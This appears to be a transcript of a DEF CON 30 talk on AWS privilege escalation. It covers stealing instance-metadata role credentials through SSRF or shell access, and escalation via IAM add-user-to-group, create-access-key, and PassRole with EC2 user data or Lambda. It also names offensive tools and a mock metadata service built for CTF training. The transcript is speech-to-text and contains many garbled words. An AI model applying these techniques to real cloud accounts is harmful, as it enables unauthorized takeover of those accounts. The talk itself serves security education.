 Okay. Well, welcome everybody. My name is X-ray. This is the DEF CON 30 alt space VR village for DEF CON groups So welcome and our speaker is Jim Shaver He's going to be talking about AWS metadata privilege escalation Jim is a pentester offensive cloud security researcher and Public speaker with 13 years of IT and security experience. So Jim go ahead and take it away All right I'm going to stand by the podium. So I'm heard today. We're going to be talking about AWS privilege privilege escalation And when I talk about privilege escalation, I'm mostly talking about the API And sort of the back end of AWS. I'm not specifically talking about like necessarily Operating system privilege escalation, although operating systems will be involved. Okay next slide, please All right. So some of the things we're going to be talking about today are how authentication works with any of AWS We're going to be talking about the instant metadata service Brian DS. I will just call it the metadata service I'm going to be talking about various modes of escalation As well as several tools and resources That you can use some of which I have written and some of which other people have written Next slide, please All right, so this is what IMDS looks like if you're on an EC2 virtual machine You can just curl this IP address on six nine two five four one six nine two five four You'll notice. It's kind of an unusual IP address if you've seen Ever been on a network that doesn't have DHCP working properly. You've probably gone the one six nine address and You can think of that IP space as an IP space that is non-routable and In order to avoid collisions with 10 dot and 172 and 192 addresses Amazon chose a one six nine address for these for this non-routable interaction with the IMDS service Just a little bit of background on what I what the metadata service is is it's a little bit of Semi-dynamic data that the operating system uses for For its own purposes for whatever for whatever it needs so things that are included are kind of benign things like the AMI ID and You know Mac addresses network information even the region that the virtual machine is running in So the US East one for example, okay, but also other Interested more interesting things for attackers in here things like user data, which is like the machine startup script or even the machine's own identity credentials and and roll based credentials that the machine may have been granted and So this these credentials you can think of as sort of the machine account quote Next slide, please all right, so this is an example of like a Simple like I guess SSRF Where you have a proxy? Parameter that's injectable with this local IP want this one six nine address and it returns a role, okay, so Latest Metadata, this is the this is actually returning a text response From the Meta's data service within the virtual machine that's running this web application. Okay, and What makes this kind of look the machine account you can think of like in in the windows world you have You can give like an active directory Machine like domain admin for example, nobody does it but it's something technically possible It's much more common in AWS to give you see two instances roles, which means they typically have permissions and policies either attached or assumable or whatever through those roles So if you if you go into Latest metadata I am security credentials, and then there's a whole bunch of stuff in this case. This role name is called easy to default SSM if you Then sort of browse to that role name. What will happen is it will show you A JSON response That is an access key ID Secret access key and then a token that is changes every once in a while This is the authentication for this role for this machine so that when the machine does certain administrative tasks, it can authenticate using these credentials and They kind of work like long lived API keys for AWS, but they're they're used via the short token circuit service instead of Instead of long-lived API keys So the way that you can tell that that is happening is the first four letters of the key ID are as I a Whereas a long-lived keys are a kia. Okay, so we'll see another example of that later As well next slide please Okay ways to get at I'm yes, so Obviously, you know, you can imagine a bad guy wants to get at the IMDS service of an EC2 instance This EC2 instances in a VPC. Maybe it has a public interface where there's like some sort of Vulnerability or some the bad guy has somehow gotten into the virtual machine some of the ways that that can happen is You can be on the box So if you get a shell on the box, you can just use curl like we did in some of the previous examples So in that case, you would just curl, you know, this web address and then you would go from there There's also examples of command injection and SSRF where if you are able to You know rendered the web page or something like that The results of a command then you then you can also display the contents of the metadata service There are also more novel examples that are The vendors and service providers haven't always thought about in terms of Some sort of SSH Key for bastion access or if they give you, you know, there's some sort of reversal they use for for For support or VPN Ease that they use to connect to a box in EC2 Even if they disable like SSH access to the EC2 instance, you can you may simple to tunnel network traffic over SSH via socks Into the EC2 instance and you can reach a local address Even though you're routing across the internet, you can still reach that local address over a socks connection So in that case, you would just you know Have a browser or whatever tool that supported socks and you would Tell it what socks proxy to use and you would just query the 169 address with curl or whatever you you whatever tool you're using Access the metadata service. Next slide, please All right, so using the cred so we've gotten this JSON response basically what we do is this is an example of Long-lived credentials that you see like aka. These are obviously example credentials So that's what normal like API keys that you might find on like your average developers machine Look like and this is an AWS credentials file that might exist on their laptop or on your laptop You can also you so you can also just use The tools that are on the box or actually the AWS CLI or pull your tools onto the box if you if you can do that But if you can get to this you can just copy all the data out of here Copy it to you know a box that you're using that has all your tools on it and then put it in your AWS credentials file and Use this as a profile for authenticating So then when you're using tools like the AWS CLI you just say AWS Profile AWS session zero, which is we have here and then we run whatever commands using the CLI that we Have so in this case, we're just doing a really basic STS get color identity Which is if you're familiar with AWS is a thing that tells you like information About the account that you're running in it's a good way to check to make sure that the credentials are valid. Okay Next slide please Okay, so I'm not going to talk really about I am policies because they are complicated. There's lots of ways that Policies can be associated with the user directly Either through inline policies that are directly attached to the user managed policies that are associated with the user Inline policies that are associated with a group managed policies that are associated with a group Attached or past roles, etc. There's also service control policies and permission boundaries that are more used in more advanced environments and there are some limitations to Privilege escalation that I'm not going to get super deep into today Because it's really complicated and even some of the tools don't even understand a lot of the nuance out that that's out there Next slide please And that's because this is like the decision tree of how like policies and that type of thing Happened according to the AWS and even this doesn't include all of the nuance. So there's a very thorough decision tree around how AWS makes Decisions around whether or not you or a resource in your environment has permissions to do something Next slide please All right, so Some ways that you can use the creds There, you know, most of the examples we're going to be using today are with the AWS CLI But there are also Lots of other ways that you can do it you can use bow to a three which is the Python SDK for AWS it's just Sort of takes you the next step after the AWS CLI Allows you to chain multiple things together and write like a Python script that understands how to talk to the AWS seal the AWS API There's other SDKs as well that you could also use There's a pretty good tool Written by a rhino security labs called the AWS escalate that can just sort of Put a brute force and figure out whether or not you have Up an escalatable, you know a path to escalation Within AWS And we're gonna we're gonna talk through some of those paths manually here in a little bit using the AWS CLI instead There's also a really good framework called paku also by rhino rhino security labs that you can like it's dockerized and all of that and it's basically a Python Application that gives you a menu and you can sort of step it through all of the all of the ways You can escalate in And other another enumeration. It's like a it's a Swiss army knife basically There's a couple of tools that I have written that I've thrown in here as well. I want to call red bowtoe and basically it is a tool a set of tools either do an enumeration or do us, you know think interesting things with operating systems with an AWS or Connect to SSM or which is basically like SCCM for AWS and other interesting things there's also a tool called federate me which is I'm not sure if AWS has actually fixed this as a thing, but basically it uses federation to Go from credentials To an AWS console, which is the web user interface of of AWS and Sometimes it's just easier to work in the web interface and it is to work via CLI or API or with with various tools So that's just easier to just pop up open a browser And so what that would federate me does is it basically you give it your credentials and it creates a signed login federation link that will pop you into the Console even as like a EC2 instance or whatever and you have the ability to do whatever it is that that machine Would be able to do if it could log it as a console There's also another tool Called enumerate IAM which is a good enumeration tool of different IAM permissions I am is the system in which you do all of your Identity access management in AWS. So a lot of tools obviously revolve around that also the best Out there on the internet with offensive security red team AWS another cloud information is hack hack in the cloud. It's maintained by Nick Frischette and it's very high quality and The best resource out there for this type of information. So I have references throughout the rest of the presentation to some articles on that Next slide All right, so a couple of More easy ways to escalate that I'm not going to demonstrate because I think you can kind of imagine They might look like so one of the ways that you can Escalate is you can pillage s3 buckets For other creds you might get onto a virtual machine That has some role role credentials that may have access to some s3 buckets If you do if you are doing sort of a gray box Experiment or sorry a gray box assessment on on the environment and you have like a scout report Or or something like that You can know what the red end what the role credentials have as permissions And what s3 buckets they may have access to With that report it may not be actually obvious to you or even possible for you to know without brute-forcing what Permissions that role that you have access to What it can do So if it's if it's more of a gray box Assessment and you and you've got the capability to Do a scout report with scout suitor, whatever they're calling it this week then This can this can be a good way to find other credentials that Developers or other people have left laying around or that might have higher privilege than what you have It's very common for for EC to instances to be granted roles that are Back to s3 buckets nothing else Because that's one of the ways that they get data in and out of the EC to instance And so it's very common for them to have that access and then it's a common for You know Them not to be locked down to specific s3 buckets and they may have access to like, you know the terraform S3 bucket or you know, what have you there's lots of ways that they can get permissive access to the environments s3 buckets Another area is a user data. I talked about that a little bit earlier, and it's basically a base 64 encoded script that the machine runs at startup and Well Those role credentials that we've been talking about may have the ability to read the user data of other EC to instances and other virtual machines in the environment, okay, and so sometimes people put things in the startup script assuming that They as the administrators are the only people that read that stuff and it actually doesn't take a lot of permission to be able to read any C2 instances startup scripts, so you should really treat that stuff as you know a sensitive thing and use Other other means to get secrets and that type of thing onto the box Next slide, please All right, so we're gonna use we're gonna talk about our first I am policy Our permission that allows you to escalate so If you have I am add user to group this one's like a really basic privilege escalation, okay So obviously you're not administrator if you have the ability to add any user to any group Then, you know, you could just run the aws cli command, you know, I am add user to group username alice Group name administrators, and if you're able to run that command you've just privileged escalated the user alice to To administrator in the aws count, okay so Might seem like a super obvious way to To privilege escalate, but It's it's it's it's an example of the type of thing that i'm talking about Next slide, please One that's pretty straightforward, but also a little bit more nuanced is I am create access key So in this case you are running I You know, I am create access key For the aim admin bob, so basically you're saying I want to create An access key for this very privileged user that I know is privileged and I want to have their access key basically, okay Okay, next slide, please All right Um pass roll and run instances, okay pass roll is more more complicated Uh because basically Um this gets into resource-based uh privileged escalation. So in this case You are not doing the privileged escalation. It's in fact the You are spinning up these two instances or a virtual machine that is doing the actual escalation. Okay So the way that pass roll works is you are Given the ability to pass a roll to a resource that being the virtual machine And then you run that instance with a roll that is is very permission Very well permissioned and then you have That resource the virtual machine run a user data script that Execute some some aws commands that create An administrator user for you for example, okay Uh a lot of people get chirped up on this one. They think that they need to have SSH access to the ec2 instance when they splints they spin it up. In fact, if you specify user data Uh the the code executes and you don't need to be on the box and refer it to happen You don't need to have a vpc that um That you can ssh into as an example, there's there's lots of the things that make this a lot easier Um And so uh, there are some limitations of this one obviously you need to be able to pass a roll that matters Uh and exist you need to be be able to run uh arbitrary instances Uh, and there also needs to be an instance profile that is privileged enough that can do the thing that you want it to do Uh for you to do So there's a lot of moving parts that are involved with this one And um But that is that is how you do that one Uh next slide please Right. There are also many other types of privilege escalation. So um There are other services within aws that are You know very Not even commonly used uh I the majority of it is best customers So like glue and data pipelines and codestar are all uh, you know, sort of dev opsy types type uh things that are that are used by some very advanced environments. They Absolutely have uh methods if configured incorrectly Uh that allow you to privilege escalate another one that I uh Didn't include in the slides because it worked very similarly to the ec2 instant Uh one that we just talked about Is lambda as lambda is like the serverless functionality within aws and essentially um if you have pastoral and Create function invoke function Maybe a couple of other things you can do the same thing with lambda that we did with that uh ec2 instance where you could have the serverless lambda function do all of the um I am functions that create your user or make you an administrator or whatever it is that you use uh to It will just claim um next slide please All right, so another uh tool that I have not really talked about publicly, but I I've released about a month ago is this thing called red amm and basically what it is is I wanted to solve the problem of how do you have a Uh a cloud Section to a ctf. Okay, and uh, there are cloud ctfs out there that are like flaws dot cloud and they're just sort of publicly on the internet and the What happens with those ctfs is that You're very limited in scope in terms of what you can do and there's a lot of risk in setting them up because You're hooking somebody up to a real aws account That could not only get hacked but also cost you a lot of money if it gets hacked and so the people that have It to the center of the people from From uh having cloud ctf type things Um, and so one of the things that I wanted to solve the problem was how do we uh teach people about the metadata service Don't hook them up to a real metadata service in ed2 And so what I came up with was uh aws actually has a project called the Amazon ec2 mock metadata service, it's a fake metadata service that is a go application And a docker container um that emulates A real metadata service and it's used for Evops type testing where you need to test something That needs to interact with the metadata service, but isn't You know for whatever reason you want it to talk to a fake metadata service Just because it's easier for you or you don't it doesn't need to be an aws or whatever the reason is And so I forked that and basically developed a sort of a front end that is Very basic ssrf and sort of you know, this is an example challenge of like hey if you put like oxy and then uh the You know domain name, this is how this proxy works, and it's not really a proxy. It's just Thing that gets you to the metadata service as part of the challenge So the idea here is that this tool can be used in capture the flag uh exercises Uh so that people can Understand a little bit more and interact with something that acts just like a metadata service. Uh It doesn't expose your aws account. So if somebody gets access to a role within here, it doesn't actually do anything Slide please So this is uh what it looks like when you exploit the ssrf that I've built in here. So just like Uh, all what we've been seeing all along, you know, you hit this address. This is not really a fake address This is just part of the application So it just looks like we're exploiting uh an ssrf in an aws, but this is just a docker container And it returns a text response just like Uh A real metadata service, but all of this information is totally bogus if you pull up this ami id it's it's an ami Id that doesn't exist within aws This is the these are not the mac addresses of the machine that this is running on You know, all of this information is bogus and and you can control these through a json configuration file and you can also control through Environment variables as well. So you can imagine hiding, you know a flag in the user data of Of this meta this this mock metadata service essentially on a cpf And uh, so that can be found on my github. It's called red a m And uh, if you have any questions about it, feel free about LinkedIn or wherever on on the internet And uh next slide I think that's it for me. I'm jim shaver. You can hit me up on linkedin. I'm also a hamburger hamburger on github I really want to thank the volunteers for their awesome work on this conference The setup is amazing and you know, it's one of the best speaker setups that I've had as a speaker So it's nice to just be able to come in here and talk from my uh From my house. So thanks everybody and I'm happy to take any of your questions If any so I've worked a fair bit in aws and I've noticed is that routinely organizations will have people who Are new to aws or they've just graduated and they're getting out into their first Java position And they'll just jump straight into building for things, right and iam is sort of this Thing that they get um As a kind of an afterthought um, and they don't truly massive the service until years into their Their effort Have you seen any successful attempts that you know getting people to? Train in iam first rather than jump straight into building things Uh, so I think the if I get to still down the question for those people that are not in the room, uh, essentially you Get people to understand iam and do it securely is that fair uh Fair representation of the question Try to get it right the first time rather than a retrospective look on it Yeah, I think uh, you know, I I absolutely agree with what you're saying. I think I really complicated and uh, like I showed you A slide that demonstrated how stupid it is and uh, I think it's very difficult To find people who really understand how it is. I think it's the number one Uh problem that aws organizations and uh, I Think, you know, it's a Are you training people and investing in them and are you hiring people that know? What they're doing. I think there's probably uh, a lot of uh opportunity there for Uh, amazon to make it easier Uh, absolutely. It's one of the number one one number one of the number one issues with an aws account is how complicated iam is and it changes so Sorry, I can't really answer that question better No, no, if you did that'd be amazing right I'd take that back immediately Yeah, I would I would be in a venture uh capitalist office right now if I if I had that answer to that so Thank you for the question anyone else All right, well, I'll be hanging out for another 10 or so minutes if people have questions Fair, uh, I really appreciate the opportunity to talk today. Thanks everybody for